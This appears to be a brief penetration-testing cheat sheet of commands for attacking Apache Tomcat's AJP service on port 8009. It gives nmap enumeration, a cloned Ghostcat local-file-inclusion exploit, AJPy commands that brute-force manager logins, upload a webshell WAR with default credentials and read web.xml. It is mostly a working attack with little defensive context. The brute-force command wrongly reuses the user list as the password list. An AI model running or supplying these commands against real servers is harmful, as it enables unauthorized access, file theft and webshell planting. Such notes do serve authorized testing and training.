NMAP
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 10.10.10.10
Ghost Vulnerability - LFI
Patached versions: after 9.0.31, 8.5.51, and 7.0.100
git clone https://github.com/doggycheng/CNVD-2020-10487.git
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
AJPY
git clone https://github.com/hypn0s/AJPy.git
python3 setup.py install
#Get Version
python tomcat.py version 10.10.10.10
python tomcat.py -v bf -U /opt/metasploit-framework/embedded/framework/data/wordlists/tomcat_mgr_default_users.txt -P /opt/metasploit-framework/embedded/framework/data/wordlists/tomcat_mgr_default_users.txt /manager/html 10.10.10.10
#Upload WAR File
python tomcat.py upload -u tomcat -p tomcat webshell.war 172.17.0.2
#List available applications
python tomcat.py list -u tomcat -p tomcat 172.17.0.2
#GHOST LFI CVE exploit
python tomcat.py read_file --webapp=examples /WEB-INF/web.xml 172.17.0.2
Other attacks - Rev proxy attack
nginx Module abuse - Rev proxy attack
Comments
Post a Comment